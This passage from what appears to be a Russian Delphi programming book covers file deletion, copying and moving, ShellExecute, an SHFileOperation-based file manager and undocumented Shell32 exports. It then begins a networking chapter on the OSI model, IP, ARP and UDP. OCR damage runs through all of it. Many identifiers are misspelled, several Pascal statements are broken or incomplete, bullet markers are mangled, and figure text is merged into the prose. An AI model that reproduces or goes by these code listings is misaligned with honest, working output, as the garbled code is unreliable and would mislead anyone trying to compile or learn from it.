DeleteFile( л Имя или полный путь к файлу');

Эта функция возвращает true, если операция прошла успешно, и false, если неудачно. Функция DeieteFiie умеет удалять только файлы и только по одному. У вас не получится работать сразу с несколькими файлами, и придется для каждого из них вызывать функцию удаления. Помимо этого, можно удалять только файлы. Если указать директорию, то операция не будет выполнена. Для удаления директорий есть отдельная функция:

RemoveDir('Имя или полный путь к директории');

Функция возвращает true, если операция прошла успешно, и false, если неудачно. Когда мы не указываем полный путь, а только имя файла или директории, то функции ищут эти файлы в текущей папке. Для изменения текущей папки служит функция choir:

СЬ01г('Путь к папке, которая будет использоваться по умолчанию');

Это процедура, и у нее нет возвращаемого значения. Текущую для программы директорию можно узнать с помощью функции GetCurrentDir, которой не надо ничего передавать, она просто возвращает текущую директорию.

Система Перед операциями над файлами и директориями желательно убедиться в их существовании. Для того чтобы узнать, существует ли файл, можно воспользоваться следующей функцией: FileExists('Имя или полный путь к файлу');

Если файл существует, то функция вернет true, иначе — false. Узнать о существовании директории можно с помощью следующей функции: DirectoryExists( 'Имя или полный путь к директории' );

Если директория существует, то функция вернет true, иначе — false. Вот небольшой пример использования описанных функций: begin ChDir(4c:\');

if FileExists{'autoexec.bat') then DeleteFile('autoexec.bat');

end;

В этом примере сначала изменяется текущая директория на корень диска С. После этого происходит проверка: если существует файл autoexec.bat, то он удаляется из текущей директории. Использовать данные функции Delphi очень просто, но они имеют слишком мало возможностей и среди них нет хорошей функции для копирования и перемещения файлов. Среди справки Delphi можно найти описание функций копирования и перемещения, которые можно использовать в своих проектах. Для этого нужно только добавить их в свой проект.

procedure CopyFile(const FileName, DestName: string);

var CopyBuffer: Pointer;

BytesCopied: Longint;

Source, Dest: Integer;

Len: Integer;

Destination: const ChunkSize: Longint - 8192;

begin Destination := ExpandFileName(DestName);

if HasAttr(Destination, faDirectory) then begin Len := Length(Destination);

Глава if Destination[Len] = '\' then Destination : Destination + E t a t i e a r e {FileName} = xrcFlNi. else Destination := Destination + '\' + ExtractFileName(FileName);

end;

GetMeiniCopyBuffer, ChunkSizo) ;

try Source;

-FileOpen(FileName, fmShareDenyWrite);

//Открыть файл-источник if Source < 0 then raise EFOpenError.CreateFmt(SFOpenError, [FileName]);

try Dest := FileCreate(Destination);

//Создать файл-приемник if Dest < 0 then raise EFCreateError.CreateFmt(SFCreateError, [Destination]);

try repeat //Считать порцию файла BynesCopied:=FileRead(Source,CopyBuffer",ChunkSize);

if BytesCopied > 0 then //Если порция считана, т.. о. //Записать ее в файл-приемник FileWrite(Dest, CopyBuffar"f BytesCopied);

until BytesCopied < ChunkSize;

finally FileClose(Dest) ;

end;

finally FileClose(Source) ;

end;

finally FreeMem(CopyBuffer, ChunkSize);

end;

end;

Процесс копирования очень прост. Процедура получает два имени файла: откуда копировать, и куда. После этого происходит проверка. Если в качестве второго параметра (путь к файлу, в который надо скопировать) указана только директория без имени файла, то программа подставляет в качестве имени файла имя источника. После этого файл источника открывается для чтения данных с запретом на запись со стороны других программ. Открыв источник, процедура создает Система файл приемника. Если он существовал, то без каких-либо предупреждений файл будет перезаписан. Дальше запускается цикл, в котором из файла источника считываются данные по 8 192 байт и тут же записываются в файл приемника. Таким образом, в цикле происходит копирование файла небольшими порциями. Чем больше порция, тем быстрее будет происходить копирование. Процедура копирования — очень хороший пример использования функций работы с файлами. Все сделано очень грамотно и великолепно работает, хотя и не очень универсально. Например, нет вызова предупреждения о существовании результирующего файла перед его уничтожением. Но это не так УЖ СЛОЖНО сделать С ПОМОЩЬЮ ФУНКЦИИ F i l e E x i s t s.

Теперь посмотрим на реализацию функции перемещения файлов (листинг 3.14). 1 истин г 3.14. Перемещение файла procedure MoveFile(const FileName, DestName: string);

var Destination: string;

begin Destination := ExpandFileName(DestName);

if not RenameFile(FileName, Destination) then begin if HasAttr(FileName, faReadOnly) then raise EFCantMove.Create('He могу переместить файл');

CopyFile(FileName, Destination);

DeleteFile(FileName);

end;

end;

Эта функция также получает в качестве параметров два имени файла: источника и приемника. В начале функции происходит попытка переименовать файл источника в приемник. Если оба файла находятся на одном диске, то такая операция произойдет успешно, и файл-источник без копирования превратится в файл-приемник с помощью простого изменения пути расположения. Если источник и приемник находятся на разных дисках, то такой трюк не пройдет, поэтому процедура вызовет функцию CopyFile, описанную выше, для копирования источника в новое место, а потом удалит файл источника. Для запуска файла можно использовать следующую универсальную функцию (листинг 3.15).

Глава | И | 3. 1 5. Запуск файла на ЩШШШ ^ 7Т ^" function ExecuteFile(const FileName, Params, DefaultDir: string;

ShowCmd: Integer): THandle;

var zFileName, zPararas, zDir: array[0..79] of Char;

begin Result := ShellExecute(Application.MainForm.Handle, nil, StrPCopy(zFileName, FileName), StrFCopy(zParams, Params), StrPCopy(zDir, DefaultDir}, ShowCmd);

end;

Чтобы ее использовать, нужно добавить это описание в свой модуль. Только не забудьте добавить еще в раздел uses модуль sheiiAPi, иначе проект нельзя будет скомпилировать. У функции четыре параметра. П Имя файла, или полный путь к файлу, который надо запустить. • Параметры, которые надо передать запускаемой программе (то, что нужно написать в командной строке). О Директория по умолчанию, с которой должна работать программа. Если директория не указана, то будет использоваться та, в которой находится запускаемый файл. G Способ отображения запущенного файла. Набор способов идентичен тому, ЧТО МЫ ИСПОЛЬЗОВалИ В фуНКПИИ ShowWindow. Вот простой пример использования данной функции: ExecuteFile('C:\Program.exe','','с:\',SW_SHOW);

С помощью этой же функции можно запускать Internet Explorer (или другой браузер, который установлен по умолчанию) и загрузить Интернетстраничку:

E x e c u t e F i l e ( ' h t t p : / / w w w. c y d s o f t. с о г п / v r - o n l i n e ', ' ', ' ', SWSHOW) ;

Если нужно создать электронное письмо, то это можно сделать следующим способом: ExecuteFile('MailTo:vr_onlone@cydsoft.com','','',SW_SHOW);

Функцию ShellExecute мы уже рассматривали в разд. 2.5, и все же я решил описать ее еще раз, чтобы выделить в отдельную процедуру. Применяя ее, вам не надо следить за типом pchar, который используется-для передачи строк, потому что наша функция ExecuteFile сама сделает необходимые преобразования.

Система Я уже описал множество функций и процедур, которые можно использовать в повседневной жизни, но до сих пор не показал, как работать со множеством файлов одновременно. Теперь пора исправить эту ситуацию и познакомиться совершенно с иной функцией работы с файлами — SHFileOperation. Эту функцию использует Проводник Windows при работе с файлами, и она достаточно универсальна и очень удобна, хотя и тяжела в освоении. И сейчас мы перейдем к реальному примеру, который будем.изучать на практике. Создайте новый проект и перенесите на форму два компонента: ShellTreeView И ShellListView. У компонента ShellTreeView В СВОЙСТВе sheliListview нужно указать компонент ShellListView, чтобы связать их в одно целое. У компонента ShellListView нужно установить свойству Mutiseiect значение true, чтобы мы могли выбирать несколько файлов. Теперь нужно добавить панель, на которой мы разместим четыре кнопки: Копировать, Переместить, Удалить, Свойства. Мою форму будущей программы вы можете увидеть на рис. 3.17.

/ Работе с файлами Копировать Переместить Удаллъ Свойства '0 Рабочий стол +' Q Мои документы '.Г |3 Мой компьютер +. * 3 Сетевое окружение :gi Корзина Мои документы Мой компьютер Сетевое окружение Корзина Internet Explorer Рис. 3.17. Форма будущей программы работы с несколькими файлами Теперь перейдите в раздел uses и добавьте туда два модуля: sheiiAPi и F i l e C t r l. ПерВЫЙ МОДУЛЬ необходим ДЛЯ работы фуНКЦИИ SHFileOperation. Во ВТОрОМ есть фунКЦИЯ S e l e c t D i r e c t o r y, КОТОраЯ ВЫВОДИТ НЭ ЭКрЭН СТЭНдартное окно выбора директории. Это окно мы будем использовать, когда нужно будет выбрать директорию, в которую надо скопировать или переместить файлы. В разделе private добавим описание следующей функции: private { Private declarations } Глава function DoSHFileOp(Handle: THandie;

OpMode: UTnt;

Src, Dest: string;

DelRicleBin: Boolean): Boolean;

Эта функция будет универсальная: для копирования, перемещения и удаления файлов. Нажмите ++, чтобы создать заготовку этой функции. В этой заготовке нужно написать следующее (листинг 3.16). Листинг 3.16. Универсальная функция для работы с файлами function TForml.DoSHFileOp(Handle: THandie;

OpMode: UInt;

Src, Dest: string;

DelRicleBin: Boolean): Boolean;

var Ret: integer;

ipFileOp: TSHFileOpStruct;

begin Screen.Cursor:=crAppStart;

FiliCharfipFileOp, SizeOf(ipFileOp), 0) ;

with ipFileOp do begin wnd : = Handle;

wFunc := OpMode;

pFrora := pChar(Src);

pTo := pChar(Dest);

if DelRicleBin then fFlags : = FOF_ALLOWUNDO else fFlags := FOFJTOCONF1RMMKDIR;

fAnyOperationsAborted := False;

hNameMappings := nil;

ipszProgressTitle := '';

end;

try Ret := SHFileOperation (ipFileOp);

except Ret := 1;

end;

result := (Ret = 0);

Screen.Cursor:=crDefault,• end;

Система Для функции sHFiieOperation нужен только один параметр— структура типа TSHFiieopstruct. Такой переменной является ipFiieop. Прежде чем использовать эту структуру, мы заполним ее нулями с помощью функции Fiiichar, чтобы там случайно не оказались ненужные данные. Теперь перечислим свойства, которые нужно заполнить. П wnd — указатель на окно, которое будет являться владельцем выполняемого процесса (копирование, перемещение, удаление). О wFunc — операция, которую надо выполнить. Сюда будет записано передаваемое значение. • pFrom — путь-источник, который мы получаем в качестве третьего параметра. П рто — путь-приемник, который мы получаем в качестве четвертого параметра. О fFiags — флаги. Если в качестве данного параметра указано true, то мы выставляем флаг FOF_ALLOWUNDO. ЭТОТ флаг говорит о том, что при удалении файлы будут попадать в корзину. Иначе будет установлен флаг FOF_NOCONFIRMMKDIR, который указывает на то, что не надо запрашивать подтверждения при необходимости во время выполнения операции создать директорию. Вы можете также указывать следующие флаги (для того, чтобы выставить несколько флагов, пишите их через знак "+"): • FOF_FILESONLY — выполнять операцию только для файлов, если указана маска (например *.*);

• FOFNOCONFIRMATION — не выводить подтверждений и все делать без предупреждения (например, перезапись файлов);

• FOFJSILENT — не отображать окно выполнения процесса;

• FOF_SIMPLEPROGRESS — показать окно выполнения процесса, но не отображать имена файлов. • lpszProgressTitie — текст, который будет отображаться в окне хода выполнения операции. П fAnyoperationsAborted — это свойство будет равно true, если пользователь прервал выполнение операции. После раздела var и перед ключевым словом implementation напишите следующий код: const FileOpMode: array[0..3] of UInt = (FO_COPY, FO_DELETE, F0MOVE, FO_RENAME);

Здесь мы объявили массив из четырех значений. Каждое из значений — это константа для обозначения определенной операции: • FO_COPY — копирование;

П FO_D2LETE — удаление;

5 Зак. 9" Глава D П FO_MOVE — перемещение;

— переименование.

FO_RENAME Теперь создадим обработчики событий для нажатия кнопок нашей панели. Сначала создайте обработчик события onclick для кнопки Копировать. В нем нужно написать следующий код (листинг 3.17).

procedure TForml.CopyButtonClick(Sender: TObject);

var FSrc,FDes,FPath: string;

i:Integer;

begin FDes := if ShellListViewl.Selected=nil then exit;

if not SelectDirectory('Select Directory', '', FDes) then exit;

FPath:=ShellTrseViewl.Path;

if FPath[Length(FPath)]<>'\' then FPath:=FPath+'\';

FSrc : ";

= for i := 0 to ShellListViewl.items.Count-1 do if (ShellListViewl.items.itemfi].Selected) then begin FSrc:=FSrc+ ShellListViewl.Folders[ShellListViewl.Items.Item[I].Index].PathName+ #0;

ShellListViewl.items.item[i].Selected:=false;

end;

FSrc:=FSrc+#0;

DoSHFileOp(Handle, FileOpMode[0], FSrc, FDes, false);

end;

Система Прежде чем производить попытку копирования, надо проверить, выбрал ли пользователь какие-либо файлы. Если нет, то нужно выйти из процедуры, потому что копировать нечего. Эта проверка происходит во второй строке кода:

if ShellListViewl.Selected=nil then exit;

После этого на экран выводится окно выбора директории, в которую нужно будет скопировать выбранные файлы. Делается это с помощью функции SelectDirectory. Если пользователь ничего не выбрал, то происходит выход из процедуры. Внешний вид окна выбора директории вы можете увидеть на рис. 3.18.

Обзор паппк Select Directory ЩУ Рабочийс т ° л '. '{,.) Мои документы ^ Диск 3,5 (А;

) & •*** Data (D:) :*i <** Win2000-1 (E:) Щ ч ^ CD-RW дисковод (G:) *i j Общие документы ;

-B tjjj) Документы - Администратор * N ! Сетевое окружение Рис. 3.18. Окно выбора директории Теперь нужно узнать директорию, из которой происходит копирование. Полный путь находится в свойстве path компонента sheiiTreeviewi. Также проверяется, если последний символ пути не равен знаку "/"> то его нужно добавить: FPath:=ShellTreeViewl.Path;

if FPath[Length(FPath)]<>'\' then FPath:=FPath+'V;

Дальше запускается цикл, в котором проверяются все имена файлов и папок. Если какое-нибудь имя выделено, то добавляем его к переменной FSrc, а в конце имени дописываем нулевой символ — #о. Имя следующего выделенного файла тоже будет дописано к этой переменной после нулевого символа. Получается, что этот абсолютный нуль служит разделителем между именами, и мы таким образом можем работать с множеством файлов одновременно.

Глава После цикла в переменную FSrc добавляется еще один нулевой символ. Таким образом, в конце строки будет два символа #о#о, что и будет означать конец строки: for i := 0 to ShellListViewl.items.Count-1 do if (ShellListViewl.items.item[i].Selected) then begin FSrc:=FSrc+ ShellListViewl.Folders[ShellListViewl.Items.Item[I].Index].PathName+ #0;

ShellListViewl.items.item[i].Selected:-false;

end;

FSrc:-FSrc+#0;

После этого вызывается написанная нами ранее процедура DoSHFiieop, указывая все необходимые параметры. В качестве второго параметра указана операция, которую надо выполнить— FileOpModefO], что равно команде FOCOPY. Третий и четвертый параметр — это пути источника и приемника (откуда и куда надо копировать). Теперь напишем код для кнопки Переместить. Для этого в обработчике события onclick соответствующей кнопки пишем следующее (листинг 3.18).

procedure TForml.MoveButtonClickfSender: TObject);

var FSrc,FDes,FPath: string;

i:Integer;

begin FDes := if ShellListViewl.Selected=nil then exit;

if not SelectDirectory('Select Directory', '', FDes) then exit;

FPath:=ShellTreeViewl.Path;

if FPath[Length(FPath)]<>'\f then FPath:=FPath+'\';

FSrc : '';

= Система for i := 0 to ShellListViewl.items.Count-1 do if (ShellListViewl.items.item[il.Selected) then begin FSrc:=FSrc+ ShellListViewl.Folders[ShellListViewl.Iterns.Item[I].Index].Pathname+ #0;

ShellListViewl.items.item[i].Selected:=false;

end;

FSrc:=F3rc+#0;

DoSHFileOp(Handle, FileOpMode[21, FSrc, FDes, false);

end;

Этот код идентичен тому, что мы написали для кнопки Копировать. Разница только в вызове процедуры DoSHFiieOp, где мы указываем операцию FileOpMode [2], что означает перемещение. А в остальном там так же определяется директория, из которой нужно копировать, и так же формируется строка из имен файлов для копирования, разделенных нулевым символом. В обработчике тинг 3.19). нажатия кнопки Удалить пишем следующий код (лис 1истинг 3.19. Обработчик щелчка на кнопке удаления файлов procedure TImageViewer.DelFilesActionExecute{Sender: TObject) var i: integer;

DelFName: string;

begin if SheilListViewl.Selected=nil then exit;

if FilesListView.isEditing then exit ;

DelFName:='';

for i := 0 to FilesListView.items.Count-1 do if (FilesListView.items.item[i].Selected) then begin Глава DeiFName:==DelFName+ FilesListView.Folders[FilesListView.Items,Itemfl]-Index].PathName+#O;

FilesListView.items.item[i].Selected:=false;

end;

DelFName:=DelFName+#O;

DoSHFileOp{Handle, FODELETE, DelFName, DelFName, false) ;

end;

И снова код похож на тот, что мы уже использовали дважды. Но есть всетаки две разницы: 1. Мы проверяем, находится ли какой-нибудь файл в режиме редактирования FilesListView. isEditing. Если да, ТО В Х Д М ИЗ процедуры. ЫОИ 2. В вызове процедуры DoSHFiieOp в качестве второго параметра мы напрямую указываем константу FODELETE, ХОТЯ МОЖНО было бы указать FiieOpMode[i], что абсолютно то же самое. В обработчике нажатия кнопки Свойства напишем следующий код (листинг 3.20).

на кнопке Свойств,, procedure TForml.PropertiesButtonClick(Sender: TObject);

var FPath, FSrc:String;

i:Integer;

begin if ShellListViewl.Selected=nil then exit;

SHObjectProperties(Handle, S02, PWideChar(WideString(ShellListViewl.Folders[ShellListViewl. Selected.Index].PathName)), nil);

end;

Здесь мало строчек кода, но с ним придется разбираться. В начале происходит простая проверка на выделение. Если пользователь ничего не выбрал, то выходим, иначе в следующей строке произойдет ошибка. Дальше мы вызываем функцию SHObjectProperties, которая отображает стандартное окно свойств объекта. У этой функции 4 параметра.

Система О Указатель на окно-владельца. • Второй параметр может принимать значения $oi для принтера или $02 для пути к файлу или папке. П Так как мы используем файлы и папки, то здесь должен быть полный путь к этому объекту. • Последний параметр оставляем равным nil. На рис. 3.19 вы можете увидеть стандартное окно свойств, вызванное из нашей программы.

Свойства: Answer Общие !

/*•*/) &l^/i| гAnswer....

Тип файла:

MFC 4.0 Text Document [изменить...

Приложение: l i h SuperPad Размещение: С;

\ Размер;

На диске: Создан: Изменен: Открыт: Атрибуты: 19 байт (19 байт) 4,00 КБ (4 096 байт) 29 марта 2002 г., 13:2Э:56 25 марта 2002 г., 13:28:58 4 февраля 2003 г. Q Только чтение Q Скрытый 0 Архивный ОК Отмена Рис. 3.19. Стандартное окно свойств объекта Чтобы проект теперь скомпилировался, нужно сообщить о существовании функции SHObjectProperties, о которой Delphi еще не знает. Для этого создайте файл standardDiaiogs.pas и напишите в нем следующее (листинг 3.21). * " « if- •F'P' —"•.* unit StandardDialogs;

130 interface uses Windows, Messages, SHIObj;

const RFFJJOBROWSE = $01;

RFF_NODEFAULT = $02;

RFF_CALCDIRECTORY = $04;

RFF_NOLABEL = $08;

RFFNOSEPARATEMEM = $20;

//Notification Return Values //Allow the Application to run. RFjDK = $00;

//Cancel the operation and close the dialog. RF_CANCEL = $01;

//Cancel the operation, but leave the dialog open. RFRETRY = $02;

//SHObjectProperties Flags OPFPRINTERNAME = $01;

OPF_PATHNAME = $02;

type NMJWNFILEDLG = r e c o r d h d r : NMHDR;

lpFile: PChar;

ipDirectory: PChar;

nShow: Integer;

end;

TSHPicklconDlg = function(hwndOwner: HWND;

lpstrFile: LPWSTR;

var pdwBufferSize: DWord;

var lpdwlconlndex: DWord): Boolean;

stdcall;

TSHRunFileDlg = procedure(hwndOwner: HWND;

hlcon: HICON;

ipstrDirectory, lpstrTitle, ipstrDescription: PChar;

Глава Система Flags: longint);

stdcall;

TSHRestartDlg = function(hwndOwner: HWND;

Reason: PAnsiChar;

flag: longint): Longint;

stdcall;

TSHExitWindowsDlg = procedurefhwndOwner: HWND);

stdcall;

TSHFindComputer = function(pidlRoot, pidlSavedSearch: PItemlDList): Boolean;

stdcall;

TSHFindFiles = function(pidlRoot, pidlSavedSearch: PItemlDList): Boolean;

stdcall;

TSHObjectProperties = function(hwndOwner: HWND;

uFlags: Integer;

lpstrName, lpstrParameters: LPWSTR): Boolean;

stdcall;

TSHOutOfMemoryMessageBox = function(Owner: HWND;

Caption: Pointer;

style: UINT): Integer;

stdcall;

TSHHandleDiskFull = procedure(Owner: HWND;

Drive: UINT);

stdcall;

var SHPicklconDlg: TSHPicklconDlg;

SHHandleDiskFull: TSHHandleDiskFull;

SHOutOfMemoryMessageBox: TSHOutOfMemoryMessageBox;

SHObjectProperties: TSHObjectProperties;

SHFindComputer: TSHFindComputer;

SHFindFiles: TSHFindComputer;

SHRunFileDlg: TSHRunFileDlg;

SHRestartDlg: TSHRestartDlg;

SHExitWindowsDlg: TSHExitWindowsDlg;

implementation const DllName = 'Shell32.dll1;

var hDll: THandle;

132 initialization hDll := LoadLibrary(DllName);

if hDll <> 0 then begin // (rom) is load by ID really good? SHPicklconDlg := GetProcAddress(hDll, PChar(62));

SHHandleDiskFull := GetProcAddress(hDll, PChar(185));

SHOutOfMemoryMessageBox := GetProcAddress(hDll, PChar(126));

SHObjectProperties := GetProcAddress(hDll, PChar(178));

SHFindComputer := GetProcAddress(hDll, PChar(91)};

SHFindFiles := GetProcAddress(hDll, PChar(90));

SHRunFileDlg := GetProcAddress (hDll, PChar(61));

* SHRestartDlg : GetProcAddress(hDll, PChar(59));

= SHExitWindowsDlg : GetProcAddress(hDll, PChar(60));

= end finalization if hDll <> 0 then FreeLibrary(hDll);

end.

Глава Теперь добавьте в раздел uses имя нашего модуля standardDiaiogs и скомпилируйте проект. Теперь можете запустить проект и посмотреть результат. На компакт-диске в директории \Примеры\Глава 3\File Operation вы можете увидеть пример данной программы и цветные версии рисунков.

Глава Простые приемы работы с сетью В этой главе я начну знакомить вас с сетевыми возможностями среды разработки Delphi. Я покажу вам, как написать множество простых, но очень эффективных утилит с помощью компонентов, встроенных в Delphi, а также бесплатно распространяемых дополнительных компонентов. Я напомню, что первоначальный смысл слова "хакер" был больше связан с человеком, который хорошо знает: 1. Программирование. 2. Внутренности ОС. 3. Сеть. Первому пункту посвящена вся книга. Второй пункт мы тоже успели затронуть достаточно подробно. Три предыдущие главы мы учились понимать внутренности ОС на интересных примерах. Теперь мы переходим к рассмотрению последнего пункта списка — приступаем к работе с сетью. В этой и следующей главе я буду рассказывать, как работать с сетями. Для начала я ограничусь использованием компонентной модели, а вот в гл. 5 мы познакомимся с низкоуровневым программированием сетей. Но это еще будет через сотню страниц, а пока начнем с самого простого. Я не захотел сразу загружать вас низкоуровневым программированием с использованием WinAPI, потому что это только забьет голову, и может получиться переполнение буфера мозгов. Уж лучше мы будем все делать постепенно и сначала познакомимся с простыми вещами, не заглядывая в дебри, а потом приступим к сложному.

4.1. Немного теории Прежде чем мы напишем первый пример, придется немного поработать с теорией. Это займет немного времени, но потом нам будет намного легче понимать друг друга. Для большего понимания материала вам желательно знать основы сетей и протоколов, поэтому советую почитать документ Net.pdf Глава в директории Документация на компакт-диске, потому что там описаны самые основы сети, а здесь я буду обсуждать только то, что нам понадобится при программировании. Каждый раз, когда вы передаете данные по сети, они как-то перетекают от вашего компьютера к серверу или другому компьютеру. Как это происходит? Вы, наверно, скажете, что с помощью специального сетевого протокола, и будете правы. Но существует множество-разновидностей протоколов. Какой и когда используется? Зачем они нужны? Как они работают? Вот на эти вопросы я и постараюсь ответить во вступлении к этой главе. Прежде чем разбираться с протоколами, нам необходимо узнать, что такое модель взаимодействия открытых систем (OSI — Open Systems Interconnection), которая была разработана Международной организацией по стандартам (ISO, International Organization for Standardization). В соответствии с этой моделью сетевое взаимодействие делится на семь уровней: 1. Физический уровень — передача битов по физическим каналам (коаксиальный кабель, витая пара, оптоволоконный кабель). Здесь определяются характеристики физических сред и параметры электрических сигналов. 2. Канальный уровень — передача кадра данных между любыми узлами в сетях типовой топологии или соседними узлами произвольной топологии. В качестве адресов на канальном уровне используются МАС-адреса. 3. Уровень сети — доставка пакета любому узлу в сетях произвольной топологии. На этом уровне нет никаких гарантий доставки пакета. 4. Уровень транспорта — доставка пакета любому узлу с любой топологией сети и заданным уровнем надежности доставки. На этом уровне имеются средства для установления соединения, буферизации, нумерации и упорядочивания пакетов. 5. Уровень сеанса — управление диалогом между узлами. Обеспечена возможность фиксации активной на данный момент стороны. 6. Уровень представления — здесь возможно задать преобразование данных (шифрование, сжатие). 7. Прикладной уровень — набор сетевых сервисов (FTP, E-mail и др.) для пользователя и приложения. Если вы внимательно прочитали все уровни, то наверно заметили, что первые три уровня обеспечиваются оборудованием, таким как сетевые карты, маршрутизаторы, концентраторы, мосты и др. Последние три обеспечиваются операционной системой или приложением. Четвертый уровень является промежуточным. Как работает протокол по этой модели? Все начинается с прикладного уровня. Пакет попадает на этот уровень и к нему добавляется заголовок.

Простые приемы работы с сетью После этого прикладной уровень отправляет этот пакет на следующий уровень (уровень представления). Здесь ему также добавляется свой собственный заголовок, и пакет отправляется дальше. Так до физического уровня, который занимается непосредственно передачей данных и отправляет пакет в сеть. Другая машина, получив пакет, начинает обратный отсчет. Пакет с физического уровня попадает на канальный. Канальный уровень убирает свой заголовок и поднимает пакет выше (на уровень сети). Уровень сети убирает свой заголовок и поднимает пакет выше. Так пакет поднимается до уровня приложения, где остается чистый пакет без служебной информации, которая была прикреплена на исходном компьютере перед отправкой пакета. Передача данных не обязательно должна начинаться с седьмого уровня. Если используемый протокол работает на четвертом уровне, то процесс передачи начнется с него, и пакет будет подниматься вверх до физического уровня для отправки. Количество уровней в протоколе определяет его потребности и возможности при передаче данных. Чем ниже находится протокол (ближе к прикладному уровню), тем больше у него возможностей и больше накладных расходов при передаче данных (больше и сложнее заголовок). Рассматриваемые сегодня протоколы будут находиться на разных уровнях, поэтому будут иметь разные возможности. M T PI S C /P Уровень приложения Сокеты Windows Справочная модель 0S1 NetBIOS NetBIOS на. основе TCP/IP Уровень приложения Уровень представления Уровень сеанса TCP Уровень транспорта Интерфейс TDI Уровень транспорта Межсетевой уровень UDP ICMP IGMP IP ARP RARP Уровень сети Интерфейс NDIS Уровень интерфейса Internet FDDI Драйверы сетевых карт Сетевые карты РРР Трансляция пакета данных Канальный уровень Физический уровень Рис. 4. 1, Модель OSI и вариант от MS Глава Корпорация Microsoft как всегда пошла своим путем и реализовала модель OSI в TCP/IP по-своему. Я понимаю, что модель OSI справочная и предназначена только в качестве рекомендации, но нельзя же было так ее изменять, ведь принцип оставлен тот же, хотя изменились названия и количество уровней. У Microsoft вместо семи уровней есть только четыре. Но это не значит, что остальные уровни позабыты и позаброшены, просто один уровень Microsoft может выполнять все, что в OSI делают три уровня. Например, уровень приложения у Microsoft выполняет все, что делают уровень приложения, уровень представления и уровень сеанса вместе взятые. На рис. 4.1 я графически сопоставил модель MS TCP и справочную модель OSI. Слева указаны названия уровней по методу MS, а справа — уровни OSI. В центре показаны протоколы. Я постарался разместить их именно на том уровне, на котором они работают, впоследствии нам это пригодится.

4.1.1. Сетевые протоколы — протокол IP Некоторые считают, что протокол TCP/IP — это одно целое. На самом деле это два разных протокола, которые работают совместно. Разницу в этих протоколах я сейчас покажу и подробно опишу, потому что она очень важна. Если посмотреть на схему сетевой модели (рис. 4.1), то можно увидеть, что протокол IP находится на сетевом уровне. Из этого можно сделать вывод, что IP выполняет сетевые функции — доставка пакета любому узлу в сетях произвольной топологии. Протокол IP при передаче данных не устанавливает виртуального соединения и использует датаграммы для отправки данных от одного компьютера к другому. Это значит, что по протоколу IP пакеты просто отправляются в сеть без ожидания подтверждения о получении данных (АСК Acknowledgment), а значит без гарантии целостности данных. Все необходимые действия по подтверждению и обеспечению целостности данных должны обеспечивать протоколы, работающие на более высоком уровне. Каждый IP-пакет содержит адреса отправителя и получателя, идентификатор протокола, TTL (время жизни пакета) и контрольную сумму для проверки целостности пакета. Как видите, здесь есть контрольная сумма, которая все же позволяет узнать целостность пакета. Но об этом узнает только получатель. Когда компьютер-получатель принимает пакет, то он проверяет контрольную сумму только для себя. Если сумма сходится, то пакет обрабатывается, иначе просто отбрасывается. А компьютер-отправитель пакета не сможет узнать об ошибке, которая возникла в пакете, и не сможет заново отправить пакет. Именно поэтому соединение по протоколу IP нельзя считать надежным.

Простые приемы работы с сетью 4.1.2. Сопоставление адреса ARP и RARP Протокол ARP (Address Resolution Protocol, протокол определения адреса) предназначен для определения аппаратного (MAC) адреса компьютера в сети по его IP-адресу. Прежде чем данные смогут быть отправлены на какойнибудь компьютер, отправитель должен знать аппаратный адрес получателя. Именно для этого и предназначен ARP. Когда компьютер посылает ARP запрос на поиск аппаратного адреса, то сначала ищем этот адрес в локальном кэше. Если уже были обращения по данному IP-адресу, то информация о МАС-адресе должна сохраниться в кэше. Если ничего не найдено, то в сеть посылается широковещательный запрос, который получат все компьютеры сети. Они получат этот пакет и проверят, если искомый IP-адрес принадлежит им или хранится у них в кэше, то они ответят на запрос, указав нужный МАС-адрес. Тут хочу отметить, что широковещательные пакеты получат все компьютеры локальной сети. Ни один широковещательный пакет не пройдет дальше маршрутизатора. Коммутаторы тоже позволяют уменьшить широковещание, потому что они знают, к какому порту подключены компьютеры с определенными IP. В них находится таблица, в которой отображаются адреса подключенных компьютеров, и если искомый компьютер подключен к порту, то поиск облегчается. Это касается современных коммутаторов. Но все это из области теории сетевых устройств. Вам нужно только понимать основные принципы. Чтобы вам легче было ориентироваться, скажу еще, что широковещательные пакеты могут пересылаться по коаксиалу (потому что тут отсутствуют хабы и коммутаторы), а при использовании витой пары — через хабы и простые коммутаторы. Если компьютер расположен в другой сети, то его поиск происходит немного по другой схеме. Если вы хотите узнать об этом подробнее, то советую почитать дополнительную документацию, которую я выложил на диске в разделе Документация или на моем сайте в разделе Сети. Протокол RARP (Reverse Address Resolution Protocol, обратный протокол определения адреса) делает обратное — определяет IP-адрес по известному МАС-адресу. Процесс поиска адресов абсолютно такой же.

4.1.3. Транспортные протоколы — быстрый UDP На транспортном уровне мы имеем два протокола: UDP и TCP. Оба они работают поверх IP. Это значит, что когда пакет TCP или UDP опускается на уровень ниже для отправки в сеть, он попадает на уровень сети прямо в лапы протокола IP. Здесь пакету добавляется сетевой адрес, TTL и другие атрибуты протокола IP. После этого пакет идет дальше вниз для физической отправки в сеть. Голый пакет TCP не может быть отправлен в сеть, потому Глава что он не имеет информации о получателе, эта информация добавляется к пакету с IP-заголовком на уровне сети. Давайте теперь рассмотрим каждый протокол в отдельности, и начнем мы с UDP. Как и IP, протокол UDP для передачи данных не устанавливает соединения с сервером. Данные просто выбрасываются в сеть, и протокол даже не заботится о доставке пакета. Если данные на пути к серверу испортятся или вообще не дойдут, то отправляющая сторона об этом не узнает. Так что по этому протоколу, как и по голому IP, не желательно передавать очень важные данные. Благодаря тому что протокол UDP не устанавливает соединения, он работает очень быстро (в несколько раз быстрее TCP, о котором чуть ниже). Из-за высокой скорости его очень удобно использовать там, где данные нужно передавать быстро и не нужно заботиться об их целостности. Примером могут служить радиостанции в Интернете. Звуковые данные просто впрыскиваются в глобальную сеть, и если слушатель не получит одного пакета, то максимум, что он заметит — небольшое заикание в месте потери. Но если учесть, что сетевые пакеты имеют небольшой размер, то заикание будет очень сложно заметить. Большая скорость — большие проблемы с безопасностью. Так как нет соединения между сервером и клиентом, то нет никакой гарантии в достоверности данных. Протокол UDP больше других подвержен спуфингу (spoofing, подмена адреса отправителя), поэтому построение на нем защищенных сетей затруднено. Итак, UDP очень быстр, но его можно использовать только там, где данные не имеют высокой ценности (возможна потеря отдельных пакетов) и не имеют секретности (UDP больше подвержен взлому).

